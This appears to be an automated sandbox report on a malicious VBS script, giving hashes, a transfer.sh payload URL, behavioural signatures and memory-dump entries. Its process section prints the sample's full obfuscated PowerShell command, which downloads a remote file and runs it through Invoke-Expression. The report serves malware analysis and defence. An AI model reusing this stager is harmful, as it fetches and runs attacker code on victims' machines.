Analysis
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max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
04-01-2022 22:56
Static task
static1
Behavioral task
behavioral1
Sample
e9fc037cd4104162c1a600754a87d9aec3d3b983ad4146954c5ef9ca49752783.vbs
Resource
win7-en-20211208
General
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Target
e9fc037cd4104162c1a600754a87d9aec3d3b983ad4146954c5ef9ca49752783.vbs
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Size
2KB
-
MD5
52cc63019d7ac5726b375e14771cfc9e
-
SHA1
04158c38ec3c912b1b510e1479e927cf91ee3d68
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SHA256
e9fc037cd4104162c1a600754a87d9aec3d3b983ad4146954c5ef9ca49752783
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SHA512
71fcd939ab72b4a54f6c23b7eab5c45244c4a3f8e7f65edc29af721b0f1aa3484853fc5359d4c1fe2113659fb4b77ade415684100c9f27c5aa19680a8151f959
Malware Config
Extracted
https://transfer.sh/get/pBzucs/HHHHHHHHHHHHHHHH.txt
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 1368 powershell.exe 7 1368 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1368 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1368 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1664 wrote to memory of 1368 1664 WScript.exe powershell.exe PID 1664 wrote to memory of 1368 1664 WScript.exe powershell.exe PID 1664 wrote to memory of 1368 1664 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e9fc037cd4104162c1a600754a87d9aec3d3b983ad4146954c5ef9ca49752783.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &((gv '*MDR*').naMe[3,11,2]-joIN'') ( (('(0PG (Rd9&(Lz0PG+0PGS{0'+'PG+0PG0}Rd9+Rd0PG+0'+'PG9{1}LzRd0PG+0PG9+Rd0PG+0PG9S0PG+0PG-fRd9+Rd9X'+'EzIR0PG+0PGd0PG+0PG9'+'+R0PG+0PGd9EXEz,XEzR'+'d9'+'+Rd9XXEz)(.R0PG+0PGd0PG+0PG9+Rd9(0PG+0PGLRd9+Rd9z0PG+0PGS{10PG+0PG}{0}R0PG+0PGd9+R0PG+0PGd90PG+0PG{20PG+0PG}LzS -R0PG+0PGd90PG+0PG+Rd90PG+0PGfXERd0PG+0PG90PG+0PG+Rd0PG'+'+0PG9zORd9+Rd9bXEz,(LR0PG+0PGd0PG+0PG9+Rd90PG+0PGzS{1}0PG+0PGRd90PG+0PG+0PG+0PGR0PG+0PGd9{0Rd9+Rd9}LzS 0PG+0PG-f'+'Rd9+Rd9 0PG+0PGRd9+Rd90PG+0PGXEz0PG+0PGw-Rd9+0P'+'G+0PGRd9XEz,XE0PG+0PGz0PG+0PGRd0'+'PG+0PG9+R'+'d9N0PG+0PGeXEz)Rd9+Rd90PG+0PG,(0PG+0PGLz0PG+0PGS{0}{1R0PG+0PGd0PG+0PG9+Rd9}Rd9+Rd90PG+0PGLz0PG+0PGS-Rd9+Rd0PG+0PG9fXEz0PG+0PGjeXE0PG+0PGz0PG+0PG,XEzRd0PG+0PG9+Rd0PG+0PG9ctX0PG+0PGEz)) (LzS{2Rd90PG+0PG+R0PG+0PGd90PG'+'+0PG}{0}0PG+0PG{'+'0PG+0PG1Rd9+Rd9}LzSRd9+0PG+0PGRd0PG+0PG9-fRd9+Rd9 R'+'d90PG+0PG+Rd9(Lz0PG+0PGRd9+Rd0PG+0PG9S{1}{0}{0PG+0PG2Rd0PG+0PG90PG+0PG+R0PG+0PGd9}Rd9+Rd9LzS 0PG+0PG-f Rd9+Rd9XRd9+Rd9EzbCl0PG+0PGXEz,XEz.W0PG+0PGe0PG+0PGXR'+'d'+'9+Rd9ERd90PG+0PG+R0PG+0PGd90PG+0PGz,XEz0PG+0PGiX0PG+0PGEz)0PG+0PG,R0PG+0PGd9+Rd9XERd9+R0PG+0PGd9ze0PG+0PGntXEz,X0PG+0PGR0PG+0PGd9+R0PG+0PGd9EzNetXEz'+')).0PG+0PG(L0PG+0PGRd9+Rd9zRd90P'+'G+0PG+Rd90PG+0P'+'GS{Rd0PG+0PG90PG+0PG+Rd0PG+0PG90}{2Rd9+0PG'+'+0PGRd'+'9}0PG+0PG{3}{0PG+0PG1}{40PG+0PG}LRd90PG+0PG+Rd9zSRd9+Rd9 0PG+0PG-f XE0PG+0PGzDXERd9+Rd9z,Rd9+R0PG+0PGd9XEzdstXEz'+',XE0PG+0PGzow0PG+0PGnXERd'+'9+R0PG+0PGd9z,R0PG+0PGd9+0PG+0PGR0PG+0PGd90PG+0PGXEzloaXER0PG+0PGd90P'+'G'+'+0PG+Rd90PG+0PGz,(LRd0PG+0PG9+0P'+'G+0PGRd9z0PG+0PGRd9+Rd9S0PG+0PG{0}{1}LzRd9+Rd0PG+0PG9S -Rd9+0PG+0PGRd9fRd0PG'+'+0PG9+R'+'d9XEzrRd9'+'+R0PG+0PGd9iXEz,0PG+0PGX0'+'PG+0PGEzn0PG+0PGgXEz0PG+0PGRd9+Rd90'+'PG+0PG)).LRd9+Rd9'+'zSINRd9+Rd0PG+0PG9vOLGykERd9+Rd9'+'LzS(0PG+0'+'PGXEzhttps://transfer.sh/get/pBzucs/HHHHHHHHHHHHHHHH.txtX0PG+0PGRd9+Rd9Ez)Rd0PG+0PG90PG+0PG).rEp'+'l0PG+0P'+'GacE(Rd9LGyRd9'+',0PG+0PGR0PG+0PGd9tYaRd0PG+0PG9).rEplacE(([cHaR]76+0PG+0PG[cHaR]122+[0PG+0PGcHaR0PG+0PG]0PG+0PG83),[STrinG]0PG+0PG[0PG+0PGc'+'HaR]34)0PG+0PG.rEplacE(([cHaR]80PG+0PG8+[cHaR]60PG+0PG9+[cHaR]120PG+0PG2),[0PG+0PGSTr'+'inG][cHa0PG+0PGR]30PG+0PG9)0c0PG'+'+0PGoIn0PG+0PGVo0PG+0PGkE-E0PG+0PGxpre'+'sSi0PG+0PGo0PG+0PGN0PG).rEplaCe(0PGRd90PG,[sTrIng][CHar]39).rEplaCe(0PG0co0PG,0PGvKO0PG).rEplaCe(([CHar'+']116+[CHar]89+[CHar]97),[sTrIng][CHar]96)vKO .( kSfEnV:COmspeC[4,24,25]-jOIN0'+'PG0PG)') -replace ([CHaR]118+[CHaR]75+[CHaR]79),[CHaR]124-crEpLace([CHaR]48+[CHaR]80+[CHaR]71),[CHaR]39 -replace 'kSf',[CHaR]36))2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1368-55-0x0000000000000000-mapping.dmp
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memory/1368-57-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmpFilesize
11.4MB
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memory/1368-59-0x0000000002550000-0x0000000002552000-memory.dmpFilesize
8KB
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memory/1368-61-0x0000000002554000-0x0000000002557000-memory.dmpFilesize
12KB
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memory/1368-60-0x0000000002552000-0x0000000002554000-memory.dmpFilesize
8KB
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memory/1368-58-0x000000001B730000-0x000000001BA2F000-memory.dmpFilesize
3.0MB
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memory/1368-62-0x000000000255B000-0x000000000257A000-memory.dmpFilesize
124KB
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memory/1664-54-0x000007FEFC031000-0x000007FEFC033000-memory.dmpFilesize
8KB